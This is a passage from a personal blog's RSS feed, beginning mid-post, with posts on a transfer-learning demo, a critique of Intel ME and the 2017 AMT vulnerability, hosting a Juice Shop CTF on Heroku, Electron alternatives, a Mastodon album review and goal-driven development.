&lt;p&gt;As part of the presentation, I demoed how transfer learning could easily be applied using TensorFlow and a pretrained model (Inception v3), creating a classifier that could identify various humanoid species from the Star Trek universe.&lt;/p&gt;
&lt;p&gt;The original pretrained model had learned to classify 1000 clases from &lt;a href=&quot;http://www.image-net.org&quot;&gt;ImageNet&lt;/a&gt;, from tens of thousands examples from each class (like &quot;umbrella&quot;, &quot;cheeta&quot;, &quot;space shuttle&quot;, etc.) over a period of two weeks, running on a cluster 50 NVIDIA Kepler GPUs - achieving a &quot;top-5 error rate&quot; (&quot;&lt;a href=&quot;https://www.tensorflow.org/tutorials/image_recognition&quot;&gt;how often the model fails to predict the correct answer as one of their top 5 guesses&lt;/a&gt;&quot;) of 3.46%.&lt;/p&gt;
&lt;p&gt;Using transfer learning, my Star Trek Humanoid classifier achieved an accuracy between about 79 and 95 percentage after about five and a half minutes on my laptop&apos;s CPU - without even spending any time tweaking hyperparameters.&lt;/p&gt;
&lt;p&gt;The code I demonstrated in a notebook (plus a PDF of the presentation) is available &lt;a href=&quot;https://github.com/EivindArvesen/transfer-learning-demo&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The presentation and notebook linked to in this post has been updated slightly, as I held an updated version of this presentation at a department meeting at Bouvet.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Intel ME]]></title><description><![CDATA[Ever since around 2008, Intel processors have included something called the Intel Management Engine (ME) - a subsystem which is completely…]]></description><link>https://eivindarvesen.com/blog/2017/05/25/intel-me</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2017/05/25/intel-me</guid><content:encoded>&lt;p&gt;Ever since around 2008, Intel processors have included something called the Intel Management Engine (ME) - a subsystem which is completely independent from the user&apos;s main CPU, but which has unrestricted access to all system resources.
This includes access to the host OS, RAM, and cryptography engine.&lt;/p&gt;
&lt;p&gt;Intel ME runs on a dedicated processor, and it can be active even when the computer is hibernating or is turned off.
It also has its own dedicated network connection, as it intercepts packages from the integrated network interface controller.&lt;/p&gt;
&lt;p&gt;There is also a software component called &lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_Active_Management_Technology&quot;&gt;Intel Active Management Technology&lt;/a&gt; (AMT), which allows &lt;a href=&quot;https://www.fsf.org/blogs/community/active-management-technology&quot;&gt;remote control&lt;/a&gt; on the ME, which Intel claims is usually disabled by default on &quot;consumer hardware&quot; (as it is only a part of the vPro collection).&lt;/p&gt;
&lt;p&gt;This technology entails some fairly obvious risks and issues, as pointed out in critiques by &lt;a href=&quot;http://www.techrepublic.com/article/is-the-intel-management-engine-a-backdoor/&quot;&gt;TechRepublic&lt;/a&gt;, the &lt;a href=&quot;https://www.fsf.org/blogs/licensing/intel-me-and-why-we-should-get-rid-of-me&quot;&gt;Free Software Foundation&lt;/a&gt;, the &lt;a href=&quot;https://www.coreboot.org/Intel_Management_Engine&quot;&gt;coreboot&lt;/a&gt; project.&lt;/p&gt;
&lt;p&gt;While ME has been widely discussed for quite some time amongst security- and/or privacy-minded technologists, it&apos;s reasonable to assume that most end-users have litte to no knowledge of the technology.&lt;/p&gt;
&lt;h1&gt;The good&lt;/h1&gt;
&lt;p&gt;This technology allows large organizations to remotely control/manage their fleet of computing devices.&lt;/p&gt;
&lt;p&gt;Typical legitimate use cases for Intel ME and AMT includes provisioning, configuring, monitoring, installing and upgrading.
The technology also includes anti-theft functionality like locking down the machine and encrypting hard drives.&lt;/p&gt;
&lt;p&gt;It enables this even on remote devices (as ME manages its own network connection), e.g. via company VPN (making the device available on the company network).&lt;/p&gt;
&lt;h1&gt;The bad&lt;/h1&gt;
&lt;p&gt;Intel ME &lt;em&gt;cannot&lt;/em&gt; be disabled, though there are &lt;a href=&quot;http://hardenedlinux.org/firmware/2016/11/17/neutralize_ME_firmware_on_sandybridge_and_ivybridge.html&quot;&gt;several&lt;/a&gt; &lt;a href=&quot;https://news.ycombinator.com/item?id=13056997&quot;&gt;projects&lt;/a&gt; with limited success and/or limited support for different processor architectures.&lt;/p&gt;
&lt;p&gt;Anyone with access to it can access the computer in question - even when it&apos;s powered off (in the case of workstations) or hibernating - provided it is connected to a power source, like a mains or a laptop battery.&lt;/p&gt;
&lt;p&gt;Unsurprisingly, Intel ME&apos;s firmware is closed source, and its software is encrypted on the device.
As a consequence, users have no idea what their device is up to - they arguably do not have control over their own computer.
The only insight people have as to how the technology actually works comes from reverse-engineering efforts like those described by Igor Skochinsky in &lt;a href=&quot;http://www.slideshare.net/codeblue_jp/igor-skochinsky-enpub&quot;&gt;these slides&lt;/a&gt; (PDF available &lt;a href=&quot;https://github.com/skochinsky/papers/blob/master/2014-10%20%5BBreakpoint%5D%20Intel%20ME%20-%20Two%20Years%20Later.pdf&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;All of this introduces several layers of trust that users just have to accept - all of which, of course, could theoretically be misused by any malignity in the hierarchy or possibly be breached (e.g. via hacking or social engineering):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;State actors (some of which have a track record of intercepting and tampering with &lt;a href=&quot;https://arstechnica.com/tech-policy/2014/05/photos-of-an-nsa-upgrade-factory-show-cisco-router-getting-implant/&quot;&gt;hardware&lt;/a&gt; and &lt;a href=&quot;https://www.theverge.com/2017/4/3/15163750/fbi-best-buy-geek-squad-informant-child-porn-case&quot;&gt;software&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Intel&lt;/li&gt;
&lt;li&gt;The technology behind the solution&lt;/li&gt;
&lt;li&gt;Hardware manufacturers&lt;/li&gt;
&lt;li&gt;OEMs/Resellers&lt;/li&gt;
&lt;li&gt;Retailers and vendors&lt;/li&gt;
&lt;li&gt;(Employers)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In addition to this, versions since ME 7.1 has included a Dynamic Application Loader (an embedded JVM), which enables uploading and running software (applets) on ME dynamically.&lt;/p&gt;
&lt;p&gt;While there is no way to completely disable ME, Intel claims users can disable AMT features via BIOS settings - but these features are implemented differently by different OEMs, and some BIOS settings may be inaccessible or hard to find.
In reality, though, there is really no way to know for certain if and to what extent the software is truly disabled, as users have no way of inspecting what goes on in the ME.&lt;/p&gt;
&lt;h1&gt;The ugly&lt;/h1&gt;
&lt;p&gt;Not only is this a problem of principles, nor only a theoretical threat or an act of user-hostility;&lt;/p&gt;
&lt;p&gt;On May 1st, Intel &lt;a href=&quot;https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&amp;#x26;languageid=en-fr&quot;&gt;revealed&lt;/a&gt; that AMT contains a critical security vulnerability (technical document detailing the escalation of privilege vulnerability courtesy of Embedi Security available &lt;a href=&quot;https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf&quot;&gt;here&lt;/a&gt;).
It concerns CPUs with Intel ME, on motherboards that support Intel VPro.
This means that a huge number of computers are &lt;a href=&quot;https://www.theregister.co.uk/2017/05/05/intel_amt_remote_exploit/&quot;&gt;wide open&lt;/a&gt; for attack by adversaries that posess some modicum of technical sophistication.
But the bar - let&apos;s face it - really isn&apos;t that high any more, what with &lt;a href=&quot;https://en.wikipedia.org/wiki/Metasploit_Project&quot;&gt;Metasploit&lt;/a&gt; and other, more specialiced pre-packaged exploits.
In fact, there is already a &lt;a href=&quot;https://www.rapid7.com/db/modules/auxiliary/scanner/http/intel_amt_digest_bypass&quot;&gt;module&lt;/a&gt; for Metasploit that attempts to bypass AMT authentication.&lt;/p&gt;
&lt;p&gt;Intel &lt;a href=&quot;https://www.theregister.co.uk/2017/05/01/intel_amt_me_vulnerability/&quot;&gt;claims&lt;/a&gt; the exploit doesn’t affect consumer chips - only machines with vPro present and AMT enabled and provisioned.
However, Charlie Demerjian of SemiAccurate &lt;a href=&quot;http://semiaccurate.com/2017/05/03/consumer-pcs-safe-intel-meamt-exploit/&quot;&gt;claims&lt;/a&gt; that there also exists a local exploit, through which attackers could provision and enable AMT over the network - though he admits this would be very hard (as in on the level of state/nation actors).&lt;/p&gt;
&lt;p&gt;Even worse, the guys over at SemiAccurate &lt;a href=&quot;http://semiaccurate.com/2017/05/01/remote-security-exploit-2008-intel-platforms/&quot;&gt;claim&lt;/a&gt; to have told Intel about this vulnerability years ago, in addition to a second, less severe, local exploit in Intel&apos;s Local Manageability Service (LMS), which also runs on the ME.&lt;/p&gt;
&lt;p&gt;This remotely exploitable security hole affects all Intel processors from Nehalem (2008) to Kaby Lake (2017).
The vulnerability can only be mitigated via a firmware-update, which manufacturers have to develop (HP, Dell, Fujitsu and others have already done this).&lt;/p&gt;
&lt;p&gt;Many of the affected machines are no longer supported (as they are out of warranty), and will thus not be receiving firmware updates from their manufacturers.
Supported machines will need &lt;a href=&quot;http://www.networkworld.com/article/3194999/security/intel-sold-you-out.html&quot;&gt;some manual intervention&lt;/a&gt; both when updates are available and in the mean time, though.&lt;/p&gt;
&lt;p&gt;Additionally, this may also affect firewalls, servers, other &lt;a href=&quot;http://www.embeddedintel.com/technology_applications.php?article=1600&quot;&gt;embedded devices&lt;/a&gt;, and &lt;a href=&quot;http://www.advantech.eu/healthcare/Technology%20Highlight/2B35A187-481B-463C-97DE-F4EAC5761251/&quot;&gt;medical equipment&lt;/a&gt; - the latter of which &lt;em&gt;really&lt;/em&gt; don&apos;t need more trouble after the recent WannaCry ransomware attack.&lt;/p&gt;
&lt;p&gt;In practice, an attacker would only need to gain access to a network that a device of interest is connected to in order to use the exploit. One must also assume that the vulnerability has been exploited in the wild by now.&lt;/p&gt;
&lt;p&gt;Of course, critics of the technology have been warning about this sort of thing for years - and are saying the same things &lt;a href=&quot;https://www.eff.org/deeplinks/2017/05/intels-management-engine-security-hazard-and-users-need-way-disable-it&quot;&gt;yet again&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;To sum it all up: Intel provides a backdoor to its products by default - and now it&apos;s been hacked.&lt;/p&gt;
&lt;p&gt;Some may argue that these technologies are great since they enable easier IT-administration - but others may argue that the way they are currently implemented carries with it huge implications for security and privacy.
And in all fairness, it shouldn&apos;t be a big deal to allow customers and users to make a choice themselves as to whether they want the engine itself enabled or not.&lt;/p&gt;
&lt;p&gt;In case you were wondering, AMD and ARM have similar subsystems in the form of Platform Security Processor (PSP) and TrustZone, respectively.&lt;/p&gt;
&lt;p&gt;Also worth noting is that this sort of thing is (and always has been) the case with &lt;a href=&quot;http://www.osnews.com/story/27416/The_second_operating_system_hiding_in_every_mobile_phone&quot;&gt;every cellphone&lt;/a&gt; as well.&lt;/p&gt;
&lt;p&gt;Two things are for certain, though:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;This is all pretty dumb, considering the obvious dangers of the implementation (and all the critique it has been the subject of)&lt;/li&gt;
&lt;li&gt;It plays right into the narrative of the tinfoil hat brigade&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;TLDR&lt;/h2&gt;
&lt;p&gt;If you don&apos;t have&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An Intel CPU from between 2008 and 2017&lt;/li&gt;
&lt;li&gt;A motherboard that supports Intel VPro&lt;/li&gt;
&lt;li&gt;Intel AMT-enabled network hardware&lt;/li&gt;
&lt;li&gt;A computer with Intel AMT enabled and provisioned&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;you should be fine.&lt;/p&gt;
&lt;p&gt;The basics are beautifully summed up by Matthew Garrett &lt;a href=&quot;https://mjg59.dreamwidth.org/48429.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;#####P.S.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;There are some reasonable objections to raise with regards to Intel ME, though.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Also: &lt;a href=&quot;https://en.wikipedia.org/wiki/Betteridge%27s_law_of_headlines&quot;&gt;Betteridge&apos;s law of headlines&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ctfctl]]></title><description><![CDATA[I recently revisited my old CTF-related scripts in connection with hosting a private intro-CTF by way of OWASP Juice Shop at work. Having…]]></description><link>https://eivindarvesen.com/blog/2019/12/23/ctfctl</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2019/12/23/ctfctl</guid><content:encoded>&lt;p&gt;I recently revisited &lt;a href=&quot;/blog/2018/12/02/hosting-a-ctf&quot;&gt;my old CTF-related scripts&lt;/a&gt; in connection with hosting a private intro-CTF by way of &lt;a href=&quot;https://github.com/bkimminich/juice-shop&quot;&gt;OWASP Juice Shop&lt;/a&gt; at work.&lt;/p&gt;
&lt;p&gt;Having limited time and available resources at hand, I decided to just use Heroku for deployment. We wouldn&apos;t be limited by only using the free-tier, as our competition would only run for a couple of hours.&lt;/p&gt;
&lt;p&gt;In order to make everything fully automatable, I forked &lt;a href=&quot;https://ctfd.io&quot;&gt;CTFd&lt;/a&gt; in order to get it running on Heroku, and expanded upon my previous naive implementation to spin up client (Juice Shop) instances. I also hacked together a random name-generator for the instances.&lt;/p&gt;
&lt;p&gt;The workflow is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Generate a new (random) key for your CTF
&lt;ul&gt;
&lt;li&gt;Automated with &lt;code class=&quot;language-text&quot;&gt;ctfctl config&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Go to &lt;a href=&quot;https://github.com/EivindArvesen/CTFd&quot;&gt;my CTFd-fork&lt;/a&gt;, and click the &quot;Deploy to Heroku&quot;-button&lt;/li&gt;
&lt;li&gt;Update variables in &lt;code class=&quot;language-text&quot;&gt;ctfctl&lt;/code&gt; to reflect URL of your CTFd-instance, and a prefix of your choice for URLs.&lt;/li&gt;
&lt;li&gt;Import the zip-file that was generated for you on your CTFd-instance&lt;/li&gt;
&lt;li&gt;Spin up Juice Shop instances on Heroku
&lt;ul&gt;
&lt;li&gt;Automated with &lt;code class=&quot;language-text&quot;&gt;ctfctl start &amp;lt;number-of-instances&gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;This will unfortunately take up to 10 min. per instance, as each instance also has to build on Heroku as of now...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;(A file &lt;code class=&quot;language-text&quot;&gt;teams.txt&lt;/code&gt; will be created, containing a list of all instance names. Any given instance can be accessed at the URL &lt;code class=&quot;language-text&quot;&gt;https://&amp;lt;PREFIX&gt;-&amp;lt;INSTANCE&gt;.herokuapp.com&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;In order to not have the Heroku-apps die, ping your scoreboard and every JuiceShop instance every 15 mins.
&lt;ul&gt;
&lt;li&gt;Automated with &lt;code class=&quot;language-text&quot;&gt;ctfctl keepup&lt;/code&gt; (alternatively &lt;code class=&quot;language-text&quot;&gt;ctfctrl scoreboard&lt;/code&gt; to just ping the scoreboard)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tell your contestants to go to &lt;a href=&quot;https://eivindarvesen.github.io/intro-ctf-startpage/&quot;&gt;the CTF Intro Startpage&lt;/a&gt;, which contains helpful hints for first-timers
&lt;ul&gt;
&lt;li&gt;Fork and tweak this for your event&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;When it&apos;s all over, bring down all client instances
&lt;ul&gt;
&lt;li&gt;Automated with &lt;code class=&quot;language-text&quot;&gt;ctfctl stop&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Delete the CTFd instance manually on Heroku&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It&apos;s still not ideal, so I&apos;m hoping I have time to write a fully automated way to bring up a generalized CTF-setup using Kubernetes and Docker-images or somesuch next year.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Some alternatives to Electron]]></title><description><![CDATA[I recently got an email from someone who had read my old rant about some of the downsides of Electron, who wondered if I could recommend any…]]></description><link>https://eivindarvesen.com/blog/2019/12/20/some-alternatives-to-electron</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2019/12/20/some-alternatives-to-electron</guid><content:encoded>&lt;p&gt;I recently got an email from someone who had read my old &lt;a href=&quot;/blog/2017/09/26/a-few-thoughts-about-electron&quot;&gt;rant about some of the downsides of Electron&lt;/a&gt;, who wondered if I could recommend any alternatives.&lt;/p&gt;
&lt;p&gt;This post is a short summation of my response.&lt;/p&gt;
&lt;p&gt;In short: For GUIs, I&apos;d recommend wxWidgets / Qt – alternatively LibUI, or possibly even React Native.&lt;/p&gt;
&lt;p&gt;In general, I think it’s kind of hard to recommend an alternative without knowing any specific project requirements – for instance whether JavaScript is a must (if so: why? though this may be another question...)&lt;/p&gt;
&lt;p&gt;My first thought would be to use something like wxWidgets or LibUI – both of which wrap the native platform widgets, and thereby give you stuff like deep accessibility-integration for free.&lt;/p&gt;
&lt;p&gt;After these I’d look at maybe Qt, which is also pretty easy to use, but (from what I understand) implements its own widgets, attempting to support whatever native platform look-and-feel.&lt;/p&gt;
&lt;p&gt;There are good bindings for all of these frameworks for most popular languages.&lt;/p&gt;
&lt;p&gt;If one &lt;em&gt;really&lt;/em&gt; have to use JS for writing a desktop-application, there’s for instance &lt;a href=&quot;https://github.com/parro-it/libui-node&quot;&gt;libui-node&lt;/a&gt; (LibUI) or &lt;a href=&quot;https://github.com/nodegui/nodegui&quot;&gt;nodegui&lt;/a&gt; (Qt), alternatively &lt;a href=&quot;https://github.com/kusti8/proton-native&quot;&gt;proton-native&lt;/a&gt; (React-environment) or &lt;a href=&quot;https://github.com/mimecorg/vuido&quot;&gt;vuido&lt;/a&gt; (Vue-environment) if you’re partial to any particular UI-toolkit convention.&lt;/p&gt;
&lt;p&gt;Finally, if you &lt;em&gt;have to&lt;/em&gt; reuse webapp-code, something like &lt;a href=&quot;https://github.com/neutralinojs/neutralinojs&quot;&gt;Neutralino&lt;/a&gt; (which wraps the system&apos;s own web browser) may be of less resource-heavy than embedding its own Chromium-runtime (which is what Electron does). This should also eliminate the need for developers to upgrade the embedded browser (Chromium/Electron) to get security-patches, as the user&apos;s own OS-supplied browser would handle this – provided that the user keeps this up to date, of course.&lt;/p&gt;
&lt;p&gt;The order above is more or less the order I’d rank the alternatives in as well.&lt;/p&gt;
&lt;p&gt;Additionally, there’s an «awesome»-style GitHub-repo full of links &lt;a href=&quot;https://github.com/styfle/awesome-desktop-js&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Emperor of Sand]]></title><description><![CDATA[Mastodon's latest album Emperor of Sand has taken the place that Dillinger Escape Plan's Dissociation had in my life last year; I've been…]]></description><link>https://eivindarvesen.com/blog/2017/05/09/emperor-of-sand</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2017/05/09/emperor-of-sand</guid><content:encoded>&lt;p&gt;Mastodon&apos;s latest album &lt;em&gt;Emperor of Sand&lt;/em&gt; has taken the place that &lt;a href=&quot;/blog/2016/11/17/dissociation&quot;&gt;Dillinger Escape Plan&apos;s &lt;em&gt;Dissociation&lt;/em&gt;&lt;/a&gt; had in my life last year; I&apos;ve been listening to it non-stop since its release on March 31.&lt;/p&gt;
&lt;p&gt;The first single off the record, &quot;Show Yourself&quot;, is typical single-material, but not typical Mastodon-material: it&apos;s uncharacteristically straightforward and accessible. Though it seems like an extention of what the band pulled with High Road (off 2014&apos;s &lt;em&gt;Once More &apos;Round the Sun&lt;/em&gt;) and Curl of the Burl (off 2011&apos;s &lt;em&gt;The Hunter&lt;/em&gt;), this move worried some long time fans - including myself - who feared Mastodon were going for a more commercial sound.&lt;/p&gt;
&lt;p&gt;In reality, it seems Mastodon is continuing to expand their repertoire. Constantly changing, they&apos;ve yet to release a bad record in my opinion.&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/gUGda7GdZPQ&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;Drummer Brann Dailor really shows of his singing chops on this record, which just keep getting better.
This does come at the further expense of the barrage of complicated fills that used to be just about everywhere.
However, Mastodon has been on a trajectory towards a more traditional sound - which could be described as creepy classic rock meets prog meets heavy metal - ever since 2009&apos;s &lt;em&gt;Crack the Skye&lt;/em&gt;, so this isn&apos;t completely unexpected.
He does rock out with various percussion at many places throughout the record, though.&lt;/p&gt;
&lt;p&gt;On another note, &lt;em&gt;Emperor of Sand&lt;/em&gt; sees a return to story-driven concept-album, the last of which was three records ago.
Previous records in this vein include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Leviathan&lt;/strong&gt;: About Herman Melville&apos;s classic novel &lt;em&gt;Moby Dick&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blood Mountain&lt;/strong&gt;: A psychedellic climb atop a mountain that holds a crystal skull&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crack the Skye&lt;/strong&gt;: an homage to drummer Brann Dailor&apos;s sister, who took her own life at fourteen, dealing with a paraplegic who astral travels and gets stuck in the spirit realm - only to seek help from cultists in tsarist Russia, including Rasputin himself.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Inspired by cancer diagnoses and deaths in the lives of several of the band members, the record is a sort of reflection on mortality, where story can be seen as a metaphor for the journey of a cancer patient.&lt;/p&gt;
&lt;p&gt;The band used producer Brendan O&apos;Brien, who also produced &lt;em&gt;Crack the Skye&lt;/em&gt;, which is particularly evident in a few of the full, almost pad-sounding, three-part harmonies in some of the choruses.&lt;/p&gt;
&lt;p&gt;Album opener &quot;Sultan&apos;s Curse&quot; is reminiscent of &quot;Black Tongue&quot; and &quot;High Road&quot; off of the band&apos;s previous two albums in that it contains many elements that are typical of the band - but still fresh, as well as accessible for newcomers.&lt;/p&gt;
&lt;p&gt;One of the record&apos;s highlights is an extremely groovy track called &quot;Steambreather&quot;.
The song is surprisingly downbeat and technically uncomplicated, which is not to say it&apos;s uneventful - the small flourishes here and there are really cool.&lt;/p&gt;
&lt;p&gt;Another highlight is when the first powerful chorus of &quot;Ancient Kingdom&quot; transitions to a blistering, yet tasteful solo courtesy of Brent Hinds - or the dirtiest of all the B-Hindses, as &lt;a href=&quot;https://youtu.be/8P93NusLQ9A?t=23&quot;&gt;he refers to himself&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The album closer, Jaguar God, is SO GOOD.
Opening almost ballad-like, it showcases a previously unheard mellow side of Brent Hinds, before going off the rails and barreling into a 70s prog-type thing with some Ghost-like melodic features.&lt;/p&gt;
&lt;p&gt;Though I feel that Brent Hinds is getting &lt;strong&gt;a bit&lt;/strong&gt; sloppy (and I emphasize &quot;a bit&quot; yet again), with some of the more obviously improvised solos suffering from poor timing on a few notes here and there.
I also think it sounds like there&apos;s a bit of recycling of old licks and phrasings going on in a few places.&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 126.66666666666666%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://embed.spotify.com/?uri=spotify%3Aalbum%3A1VzmKgEG38fsUBZVe15wuF&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;All in all, &lt;em&gt;Emperor of Sand&lt;/em&gt; is a great record. Though the album is not as technically challenging as their earlier work, it&apos;s an uncompromising and focused effort - and in my opinion the most interesting record Mastodon has released since &lt;em&gt;Crack the Skye&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update Sept. 7th 2017&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In the vein of some of their earlier videos, featuring &lt;a href=&quot;https://www.youtube.com/watch?v=Xr9_e4ySRYA&quot;&gt;puppet nightmares&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=zBXWBj7hIzg&quot;&gt;the psychedelic adventures of a cat&lt;/a&gt;, Mastodon recently released a hilarious video for Steambreather:&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/HEubrZV04b0&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;</content:encoded></item><item><title><![CDATA[Hypothesis- and Goal-Driven Development]]></title><description><![CDATA[Wednesday morning about two weeks ago I held a breakfast presentation with my colleague, Lars Dølvik, about the development process that our…]]></description><link>https://eivindarvesen.com/blog/2017/12/05/hypothesis-and-goal-driven-development</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2017/12/05/hypothesis-and-goal-driven-development</guid><content:encoded>&lt;p&gt;Wednesday morning about two weeks ago I held a breakfast presentation with my colleague, &lt;a href=&quot;https://no.linkedin.com/in/lars-d%C3%B8lvik-48336370&quot;&gt;Lars Dølvik&lt;/a&gt;, about the development process that our team utilizes in our work on a web application for one of our major clients. Our redacted slides are available &lt;a href=&quot;GoalDrivenDevelopment.pdf&quot;&gt;here&lt;/a&gt; (PDF, Norwegian).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; _A slightly rewritten version this of post is now available in Norwegian on &lt;a href=&quot;https://www.bouvet.no/bouvet-deler/malbasert-utvikling&quot;&gt;Bouvet&apos;s official blog&lt;/a&gt;. _&lt;/p&gt;
&lt;p&gt;Our process essentially follows a form of &lt;a href=&quot;https://en.wikipedia.org/wiki/Lean_startup&quot;&gt;Lean Startup&lt;/a&gt; methodology, which makes it all about eliminating waste (i.e. effectivizing the development cycle). In our case, we attempt to do this via testable hypotheses, &lt;a href=&quot;https://en.wikipedia.org/wiki/Iterative_and_incremental_development&quot;&gt;iterative&lt;/a&gt; work on the solution and &lt;a href=&quot;https://en.wikipedia.org/wiki/Validated_learning&quot;&gt;validated learning&lt;/a&gt;. There&apos;s also elements from &lt;a href=&quot;https://en.wikipedia.org/wiki/Goal-Driven_Software_Development_Process&quot;&gt;Goal-Driven Software Development Process&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/DevOps&quot;&gt;DevOps&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For a short intro to Lean vs. Agile in the context of software development, see &lt;a href=&quot;https://hackerchick.com/agile-vs-lean-yeah-yeah-whats-the-difference/&quot;&gt;this&lt;/a&gt; post by &lt;a href=&quot;https://hackerchick.com/About&quot;&gt;Abby Fichtner&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;The project&lt;/h1&gt;
&lt;p&gt;Lars and I entered the picture earlier this year, taking over continued development, administration and operations of the solution.&lt;/p&gt;
&lt;p&gt;Our project is approved by the customer for a period of three months at a time, basically in the form of &quot;X consultants will work on the solution during this period, Y of which are devlopers&quot; and so forth.&lt;/p&gt;
&lt;p&gt;We use an agile process, where we focus on results rather than a specified (specced) delivery – somebody else&apos;s, maybe even someone non-technical, interpretation of what is needed – which enables us to meet the customer&apos;s needs to a larger extent. On the technical side our pipeline involves the usual agile stuff like reproducible dev-environments in Docker, &lt;a href=&quot;http://nvie.com/posts/a-successful-git-branching-model/&quot;&gt;Git Flow&lt;/a&gt;-style branches, linters, continuous integration via Jenkins and deployment via Kubernetes on the Google Cloud Platform.&lt;/p&gt;
&lt;p&gt;We also have weekly demo meetings, where we go over the latest data to see whether or not we&apos;ve reached our goals and prioritize our backlog.&lt;/p&gt;
&lt;p&gt;All of this enables us to change fast as a consequence of the shortened way from idea to product. Naturally, this works well with our focus on MVPs and launching early to iterate over the solution.&lt;/p&gt;
&lt;p&gt;This way of working is very inspirational as a developer; The collaborative decision making processes affords me more big-picture insights, and the process makes it easy to see (and understand) how my contributions affect the totality of the application.&lt;/p&gt;
&lt;p&gt;The outline of this way of working is: Test your hypotheses (as to how to reach your goals) and fail fast if need be, so that you don&apos;t expend resources on actions that do not make the product better. This inspires creativity, and leads to lowered risks and costs for the customer.&lt;/p&gt;
&lt;p&gt;In our case, this is all made possible by a good relationship with our customer, from which we enjoy a great deal of trust – which gives us the freedom to work according to these parameters. The process also depends upon good communications between stakeholders, such as the project owner, and the members of the development team, like developers, designers, analysts and project leaders.&lt;/p&gt;
&lt;h1&gt;The development cycle&lt;/h1&gt;
&lt;p&gt;During our cycle we plan, measure and document in order to achieve our specified goals. We use the data we collect to track and test our changes in order to assure that our changes are for the better of the product, i.e. that we achieve our goals.&lt;/p&gt;
&lt;p&gt;We work according to three levels of goals (decisions);&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Strategic goal (the customer&apos;s overall goal: between 10 and 20 KPIs, e.g. elevate reputation)&lt;/li&gt;
&lt;li&gt;Tactical goal (the product owner&apos;s goal via strategy to achieve the strategic goal, e.g. achieve a high Google ranking to assure more organic traffic)&lt;/li&gt;
&lt;li&gt;Operational goal (measure effect from our actions towards the tactical goal, e.g. optimize images to reduce load time)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This demands good communication and flow of information.&lt;/p&gt;
